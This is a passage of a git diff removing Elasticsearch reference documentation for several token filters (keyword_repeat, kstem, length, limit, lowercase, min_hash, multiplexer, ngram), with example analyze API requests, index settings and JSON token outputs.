-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": false
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"tokenizer": \.\.\./"tokenizer": $body.detail.tokenizer/]
-====
-
-To stem the non-keyword tokens, add the `stemmer` filter after the
-`keyword_repeat` filter in the previous analyze API request.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    "keyword_repeat",
-    "stemmer"
-  ],
-  "text": "fox running and jumping",
-  "explain": true,
-  "attributes": "keyword"
-}
-----
-
-The API returns the following response. Note the following changes:
-
-* The non-keyword version of `running` was stemmed to `run`.
-* The non-keyword version of `jumping` was stemmed to `jump`.
-
-.**Response**
-[%collapsible]
-====
-[source,console-result]
-----
-{
-  "detail": {
-    "custom_analyzer": true,
-    "charfilters": [],
-    "tokenizer": ...,
-    "tokenfilters": [
-      {
-        "name": "keyword_repeat",
-        "tokens": ...
-      },
-      {
-        "name": "stemmer",
-        "tokens": [
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": true
-          },
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": false
-          },
-          {
-            "token": "running",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": true
-          },
-          {
-            "token": "run",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": false
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": true
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": false
-          },
-          {
-            "token": "jumping",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": true
-          },
-          {
-            "token": "jump",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": false
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"tokenizer": \.\.\./"tokenizer": $body.detail.tokenizer/]
-// TESTRESPONSE[s/"tokens": .../"tokens": $body.$_path/]
-====
-
-However, the keyword and non-keyword versions of `fox` and `and` are
-identical and in the same respective positions.
-
-To remove these duplicate tokens, add the `remove_duplicates` filter after
-`stemmer` in the analyze API request. 
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    "keyword_repeat",
-    "stemmer",
-    "remove_duplicates"
-  ],
-  "text": "fox running and jumping",
-  "explain": true,
-  "attributes": "keyword"
-}
-----
-
-The API returns the following response. Note that the duplicate tokens for `fox`
-and `and` have been removed.
-
-.**Response**
-[%collapsible]
-====
-[source,console-result]
-----
-{
-  "detail": {
-    "custom_analyzer": true,
-    "charfilters": [],
-    "tokenizer": ...,
-    "tokenfilters": [
-      {
-        "name": "keyword_repeat",
-        "tokens": ...
-      },
-      {
-        "name": "stemmer",
-        "tokens": ...
-      },
-      {
-        "name": "remove_duplicates",
-        "tokens": [
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": true
-          },
-          {
-            "token": "running",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": true
-          },
-          {
-            "token": "run",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": false
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": true
-          },
-          {
-            "token": "jumping",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": true
-          },
-          {
-            "token": "jump",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": false
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"tokenizer": \.\.\./"tokenizer": $body.detail.tokenizer/]
-// TESTRESPONSE[s/"tokens": .../"tokens": $body.$_path/]
-====
-
-[[analysis-keyword-repeat-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`keyword_repeat` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-This custom analyzer uses the `keyword_repeat` and `porter_stem` filters to
-create a stemmed and unstemmed version of each token in a stream. The
-`remove_duplicates` filter then removes any duplicate tokens from the stream.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_analyzer": {
-          "tokenizer": "standard",
-          "filter": [
-            "keyword_repeat",
-            "porter_stem",
-            "remove_duplicates"
-          ]
-        }
-      }
-    }
-  }
-}
-----
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/kstem-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/kstem-tokenfilter.asciidoc
deleted file mode 100644
index 2741a568ab3..00000000000
--- a/docs/reference/analysis/tokenfilters/kstem-tokenfilter.asciidoc
+++ /dev/null
@@ -1,115 +0,0 @@
-[[analysis-kstem-tokenfilter]]
-=== KStem token filter
-++++
-<titleabbrev>KStem</titleabbrev>
-++++
-
-Provides https://ciir.cs.umass.edu/pubfiles/ir-35.pdf[KStem]-based stemming for
-the English language. The `kstem` filter combines
-<<algorithmic-stemmers,algorithmic stemming>> with a built-in
-<<dictionary-stemmers,dictionary>>.
-
-The `kstem` filter tends to stem less aggressively than other English stemmer
-filters, such as the <<analysis-porterstem-tokenfilter,`porter_stem`>> filter.
-
-The `kstem` filter is equivalent to the
-<<analysis-stemmer-tokenfilter,`stemmer`>> filter's
-<<analysis-stemmer-tokenfilter-language-parm,`light_english`>> variant.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/en/KStemFilter.html[KStemFilter].
-
-[[analysis-kstem-tokenfilter-analyze-ex]]
-==== Example
-
-The following analyze API request uses the `kstem` filter to stem `the foxes
-jumping quickly` to `the fox jump quick`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [ "kstem" ],
-  "text": "the foxes jumping quickly"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ the, fox, jump, quick ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "fox",
-      "start_offset": 4,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "jump",
-      "start_offset": 10,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "quick",
-      "start_offset": 18,
-      "end_offset": 25,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-[[analysis-kstem-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`kstem` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-[IMPORTANT]
-====
-To work properly, the `kstem` filter requires lowercase tokens. To ensure tokens
-are lowercased, add the <<analysis-lowercase-tokenfilter,`lowercase`>> filter
-before the `kstem` filter in the analyzer configuration.
-====
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "whitespace",
-          "filter": [
-            "lowercase",
-            "kstem"
-          ]
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/length-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/length-tokenfilter.asciidoc
deleted file mode 100644
index 4eced2d39b1..00000000000
--- a/docs/reference/analysis/tokenfilters/length-tokenfilter.asciidoc
+++ /dev/null
@@ -1,170 +0,0 @@
-[[analysis-length-tokenfilter]]
-=== Length token filter
-++++
-<titleabbrev>Length</titleabbrev>
-++++
-
-Removes tokens shorter or longer than specified character lengths.
-For example, you can use the `length` filter to exclude tokens shorter than 2
-characters and tokens longer than 5 characters.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/LengthFilter.html[LengthFilter].
-
-[TIP]
-====
-The `length` filter removes entire tokens. If you'd prefer to shorten tokens to
-a specific length, use the <<analysis-truncate-tokenfilter,`truncate`>> filter.
-====
-
-[[analysis-length-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `length`
-filter to remove tokens longer than 4 characters:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "length",
-      "min": 0,
-      "max": 4
-    }
-  ],
-  "text": "the quick brown fox jumps over the lazy dog"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ the, fox, over, the, lazy, dog ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "fox",
-      "start_offset": 16,
-      "end_offset": 19,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "over",
-      "start_offset": 26,
-      "end_offset": 30,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "the",
-      "start_offset": 31,
-      "end_offset": 34,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "lazy",
-      "start_offset": 35,
-      "end_offset": 39,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog",
-      "start_offset": 40,
-      "end_offset": 43,
-      "type": "word",
-      "position": 8
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-length-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`length` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT length_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_length": {
-          "tokenizer": "standard",
-          "filter": [ "length" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-length-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`min`::
-(Optional, integer)
-Minimum character length of a token. Shorter tokens are excluded from the
-output. Defaults to `0`.
-
-`max`::
-(Optional, integer)
-Maximum character length of a token. Longer tokens are excluded from the output.
-Defaults to `Integer.MAX_VALUE`, which is `2^31-1` or `2147483647`.
-
-[[analysis-length-tokenfilter-customize]]
-==== Customize
-
-To customize the `length` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `length` filter that removes
-tokens shorter than 2 characters and tokens longer than 10 characters:
-
-[source,console]
---------------------------------------------------
-PUT length_custom_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_length_2_to_10_char": {
-          "tokenizer": "whitespace",
-          "filter": [ "length_2_to_10_char" ]
-        }
-      },
-      "filter": {
-        "length_2_to_10_char": {
-          "type": "length",
-          "min": 2,
-          "max": 10
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/limit-token-count-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/limit-token-count-tokenfilter.asciidoc
deleted file mode 100644
index e06cba7871b..00000000000
--- a/docs/reference/analysis/tokenfilters/limit-token-count-tokenfilter.asciidoc
+++ /dev/null
@@ -1,143 +0,0 @@
-[[analysis-limit-token-count-tokenfilter]]
-=== Limit token count token filter
-++++
-<titleabbrev>Limit token count</titleabbrev>
-++++
-
-Limits the number of output tokens. The `limit` filter is commonly used to limit
-the size of document field values based on token count.
-
-By default, the `limit` filter keeps only the first token in a stream. For
-example, the filter can change the token stream `[ one, two, three ]` to 
-`[ one ]`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/LimitTokenCountFilter.html[LimitTokenCountFilter].
-
-[TIP]
-====
- If you want to limit the size of field values based on
-_character length_, use the <<ignore-above,`ignore_above`>> mapping parameter.
-====
-
-[[analysis-limit-token-count-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`max_token_count`::
-(Optional, integer)
-Maximum number of tokens to keep. Once this limit is reached, any remaining
-tokens are excluded from the output. Defaults to `1`.
-
-`consume_all_tokens`::
-(Optional, Boolean)
-If `true`, the `limit` filter exhausts the token stream, even if the
-`max_token_count` has already been reached. Defaults to `false`.
-
-[[analysis-limit-token-count-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `limit`
-filter to keep only the first two tokens in `quick fox jumps over lazy dog`:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-    "filter": [
-    {
-      "type": "limit",
-      "max_token_count": 2
-    }
-  ],
-  "text": "quick fox jumps over lazy dog"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ quick, fox ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "fox",
-      "start_offset": 6,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 1
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-limit-token-count-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`limit` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT limit_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_one_token_limit": {
-          "tokenizer": "standard",
-          "filter": [ "limit" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-limit-token-count-tokenfilter-customize]]
-==== Customize
-
-To customize the `limit` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `limit` filter that keeps
-only the first five tokens of a stream:
-
-[source,console]
---------------------------------------------------
-PUT custom_limit_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_five_token_limit": {
-          "tokenizer": "whitespace",
-          "filter": [ "five_token_limit" ]
-        }
-      },
-      "filter": {
-        "five_token_limit": {
-          "type": "limit",
-          "max_token_count": 5
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/lowercase-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/lowercase-tokenfilter.asciidoc
deleted file mode 100644
index 7d6db987ab9..00000000000
--- a/docs/reference/analysis/tokenfilters/lowercase-tokenfilter.asciidoc
+++ /dev/null
@@ -1,152 +0,0 @@
-[[analysis-lowercase-tokenfilter]]
-=== Lowercase token filter
-++++
-<titleabbrev>Lowercase</titleabbrev>
-++++
-
-Changes token text to lowercase. For example, you can use the `lowercase` filter
-to change `THE Lazy DoG` to `the lazy dog`.
-
-In addition to a default filter, the `lowercase` token filter provides access to
-Lucene's language-specific lowercase filters for Greek, Irish, and Turkish.
-  
-[[analysis-lowercase-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the default
-`lowercase` filter to change the `THE Quick FoX JUMPs` to lowercase:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["lowercase"],
-  "text" : "THE Quick FoX JUMPs"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ the, quick, fox, jumps ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "the",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "quick",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "fox",
-      "start_offset" : 10,
-      "end_offset" : 13,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "jumps",
-      "start_offset" : 14,
-      "end_offset" : 19,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-lowercase-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`lowercase` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT lowercase_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_lowercase": {
-          "tokenizer": "whitespace",
-          "filter": [ "lowercase" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-lowercase-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`language`::
-+
---
-(Optional, string)
-Language-specific lowercase token filter to use. Valid values include:
-
-`greek`::: Uses Lucene's
-{lucene-analysis-docs}/el/GreekLowerCaseFilter.html[GreekLowerCaseFilter]
-
-`irish`::: Uses Lucene's
-{lucene-analysis-docs}/ga/IrishLowerCaseFilter.html[IrishLowerCaseFilter]
-
-`turkish`::: Uses Lucene's
-{lucene-analysis-docs}/tr/TurkishLowerCaseFilter.html[TurkishLowerCaseFilter]
-
-If not specified, defaults to Lucene's
-{lucene-analysis-docs}/core/LowerCaseFilter.html[LowerCaseFilter].
---
-
-[[analysis-lowercase-tokenfilter-customize]]
-==== Customize
-
-To customize the `lowercase` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `lowercase` filter for the
-Greek language:
-
-[source,console]
---------------------------------------------------
-PUT custom_lowercase_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "greek_lowercase_example": {
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": ["greek_lowercase"]
-        }
-      },
-      "filter": {
-        "greek_lowercase": {
-          "type": "lowercase",
-          "language": "greek"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/minhash-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/minhash-tokenfilter.asciidoc
deleted file mode 100644
index bfbf59908ea..00000000000
--- a/docs/reference/analysis/tokenfilters/minhash-tokenfilter.asciidoc
+++ /dev/null
@@ -1,180 +0,0 @@
-[[analysis-minhash-tokenfilter]]
-=== MinHash token filter
-++++
-<titleabbrev>MinHash</titleabbrev>
-++++
-
-Uses the {wikipedia}/MinHash[MinHash] technique to produce a
-signature for a token stream. You can use MinHash signatures to estimate the
-similarity of documents. See <<analysis-minhash-tokenfilter-similarity-search>>.
-
-The `min_hash` filter performs the following operations on a token stream in
-order:
-
-. Hashes each token in the stream.
-. Assigns the hashes to buckets, keeping only the smallest hashes of each
-  bucket.
-. Outputs the smallest hash from each bucket as a token stream.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/minhash/MinHashFilter.html[MinHashFilter].
-
-[[analysis-minhash-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`bucket_count`::
-(Optional, integer)
-Number of buckets to which hashes are assigned. Defaults to `512`.
-
-`hash_count`::
-(Optional, integer)
-Number of ways to hash each token in the stream. Defaults to `1`.
-
-`hash_set_size`::
-(Optional, integer)
-Number of hashes to keep from each bucket. Defaults to `1`.
-+
-Hashes are retained by ascending size, starting with the bucket's smallest hash
-first.
-
-`with_rotation`::
-(Optional, Boolean)
-If `true`, the filter fills empty buckets with the value of the first non-empty
-bucket to its circular right if the `hash_set_size` is `1`. If the
-`bucket_count` argument is greater than `1`, this parameter defaults to `true`.
-Otherwise, this parameter defaults to `false`.
-
-[[analysis-minhash-tokenfilter-configuration-tips]]
-==== Tips for configuring the `min_hash` filter
-
-* `min_hash` filter input tokens should typically be k-words shingles produced
-from <<analysis-shingle-tokenfilter,shingle token filter>>. You should
-choose `k` large enough so that the probability of any given shingle
-occurring in a document is low. At the same time, as
-internally each shingle is hashed into to 128-bit hash, you should choose
-`k` small enough so that all possible
-different k-words shingles can be hashed to 128-bit hash with
-minimal collision.
-
-* We recommend you test different arguments for the `hash_count`, `bucket_count` and
-  `hash_set_size` parameters:
-
-** To improve precision, increase the `bucket_count` or
-   `hash_set_size` arguments. Higher `bucket_count` and `hash_set_size` values
-   increase the likelihood that different tokens are indexed to different
-   buckets.
-
-** To improve the recall, increase the value of the `hash_count` argument. For
-   example, setting `hash_count` to `2` hashes each token in two different ways,
-   increasing the number of potential candidates for search.
-
-* By default, the `min_hash` filter produces 512 tokens for each document. Each
-token is 16 bytes in size. This means each document's size will be increased by
-around 8Kb.
-
-* The `min_hash` filter is used for Jaccard similarity. This means
-that it doesn't matter how many times a document contains a certain token,
-only that if it contains it or not.
-
-[[analysis-minhash-tokenfilter-similarity-search]]
-==== Using the `min_hash` token filter for similarity search
-
-The `min_hash` token filter allows you to hash documents for similarity search.
-Similarity search, or nearest neighbor search is a complex problem.
-A naive solution requires an exhaustive pairwise comparison between a query
-document and every document in an index. This is a prohibitive operation
-if the index is large. A number of approximate nearest neighbor search
-solutions have been developed to make similarity search more practical and
-computationally feasible. One of these solutions involves hashing of documents.
-
-Documents are hashed in a way that similar documents are more likely
-to produce the same hash code and are put into the same hash bucket,
-while dissimilar documents are more likely to be hashed into
-different hash buckets. This type of hashing is known as
-locality sensitive hashing (LSH).
-
-Depending on what constitutes the similarity between documents,
-various LSH functions https://arxiv.org/abs/1408.2927[have been proposed].
-For {wikipedia}/Jaccard_index[Jaccard similarity], a popular
-LSH function is {wikipedia}/MinHash[MinHash].
-A general idea of the way MinHash produces a signature for a document
-is by applying a random permutation over the whole index vocabulary (random
-numbering for the vocabulary), and recording the minimum value for this permutation
-for the document (the minimum number for a vocabulary word that is present
-in the document). The permutations are run several times;
-combining the minimum values for all of them will constitute a
-signature for the document.
-
-In practice, instead of random permutations, a number of hash functions
-are chosen. A hash function calculates a hash code for each of a
-document's tokens and chooses the minimum hash code among them.
-The minimum hash codes from all hash functions are combined
-to form a signature for the document.
-
-[[analysis-minhash-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `min_hash` filter, duplicate it to create the basis for a new
-custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses the following custom token filters to configure a new
-<<analysis-custom-analyzer,custom analyzer>>:
-
-* `my_shingle_filter`, a custom <<analysis-shingle-tokenfilter,`shingle`
-  filter>>. `my_shingle_filter` only outputs five-word shingles.
-* `my_minhash_filter`, a custom `min_hash` filter. `my_minhash_filter` hashes
-  each five-word shingle once. It then assigns the hashes into 512 buckets,
-  keeping only the smallest hash from each bucket.
-
-The request also assigns the custom analyzer to the `fingerprint` field mapping.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "my_shingle_filter": {      <1>
-          "type": "shingle",
-          "min_shingle_size": 5,
-          "max_shingle_size": 5,
-          "output_unigrams": false
-        },
-        "my_minhash_filter": {
-          "type": "min_hash",
-          "hash_count": 1,          <2>
-          "bucket_count": 512,      <3>
-          "hash_set_size": 1,       <4>
-          "with_rotation": true     <5>
-        }
-      },
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [
-            "my_shingle_filter",
-            "my_minhash_filter"
-          ]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "fingerprint": {
-        "type": "text",
-        "analyzer": "my_analyzer"
-      }
-    }
-  }
-}
-----
-
-<1> Configures a custom shingle filter to output only five-word shingles.
-<2> Each five-word shingle in the stream is hashed once.
-<3> The hashes are assigned to 512 buckets.
-<4> Only the smallest hash in each bucket is retained.
-<5> The filter fills empty buckets with the values of neighboring buckets.
diff --git a/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc
deleted file mode 100644
index 178f42d3b9f..00000000000
--- a/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc
+++ /dev/null
@@ -1,123 +0,0 @@
-[[analysis-multiplexer-tokenfilter]]
-=== Multiplexer token filter
-++++
-<titleabbrev>Multiplexer</titleabbrev>
-++++
-
-A token filter of type `multiplexer` will emit multiple tokens at the same position,
-each version of the token having been run through a different filter.  Identical
-output tokens at the same position will be removed.
-
-WARNING: If the incoming token stream has duplicate tokens, then these will also be
-removed by the multiplexer
-
-[discrete]
-=== Options
-[horizontal]
-filters:: a list of token filters to apply to incoming tokens.  These can be any
-  token filters defined elsewhere in the index mappings.  Filters can be chained
-  using a comma-delimited string, so for example `"lowercase, porter_stem"` would
-  apply the `lowercase` filter and then the `porter_stem` filter to a single token.
-
-WARNING: <<analysis-shingle-tokenfilter,Shingle>> or multi-word synonym token filters will not function normally
-  when they are declared in the filters array because they read ahead internally
-  which is unsupported by the multiplexer
-
-preserve_original:: if `true` (the default) then emit the original token in
-  addition to the filtered tokens
-
-
-[discrete]
-=== Settings example
-
-You can set it up like:
-
-[source,console]
---------------------------------------------------
-PUT /multiplexer_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [ "my_multiplexer" ]
-        }
-      },
-      "filter": {
-        "my_multiplexer": {
-          "type": "multiplexer",
-          "filters": [ "lowercase", "lowercase, porter_stem" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-And test it like:
-
-[source,console]
---------------------------------------------------
-POST /multiplexer_example/_analyze
-{
-  "analyzer" : "my_analyzer",
-  "text" : "Going HOME"
-}
---------------------------------------------------
-// TEST[continued]
-
-And it'd respond:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "Going",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "going",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "go",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "HOME",
-      "start_offset": 6,
-      "end_offset": 10,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "home",          <1>
-      "start_offset": 6,
-      "end_offset": 10,
-      "type": "<ALPHANUM>",
-      "position": 1
-    }
-  ]
-}
---------------------------------------------------
-
-<1> The stemmer has also emitted a token `home` at position 1, but because it is a
-duplicate of this token it has been removed from the token stream
-
-NOTE: The synonym and synonym_graph filters use their preceding analysis chain to
-parse and analyse their synonym lists, and will throw an exception if that chain
-contains token filters that produce multiple tokens at the same position.
-If you want to apply synonyms to a token stream containing a multiplexer, then you
-should append the synonym filter to each relevant multiplexer filter list, rather than
-placing it after the multiplexer in the main token chain definition.
diff --git a/docs/reference/analysis/tokenfilters/ngram-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/ngram-tokenfilter.asciidoc
deleted file mode 100644
index fc6aea3d069..00000000000
--- a/docs/reference/analysis/tokenfilters/ngram-tokenfilter.asciidoc
+++ /dev/null
@@ -1,232 +0,0 @@
-[[analysis-ngram-tokenfilter]]
-=== N-gram token filter
-++++
-<titleabbrev>N-gram</titleabbrev>
-++++
-
-Forms {wikipedia}/N-gram[n-grams] of specified lengths from
-a token.
-
-For example, you can use the `ngram` token filter to change `fox` to
-`[ f, fo, o, ox, x ]`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/ngram/NGramTokenFilter.html[NGramTokenFilter].
-
-[NOTE]
-====
-The `ngram` filter is similar to the
-<<analysis-edgengram-tokenfilter,`edge_ngram` token filter>>. However, the
-`edge_ngram` only outputs n-grams that start at the beginning of a token.
-====
-
-[[analysis-ngram-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `ngram`
-filter to convert `Quick fox` to 1-character and 2-character n-grams:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-  "filter": [ "ngram" ],
-  "text": "Quick fox"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ Q, Qu, u, ui, i, ic, c, ck, k, f, fo, o, ox, x ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "Q",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "Qu",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "u",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "ui",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "i",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "ic",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "c",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
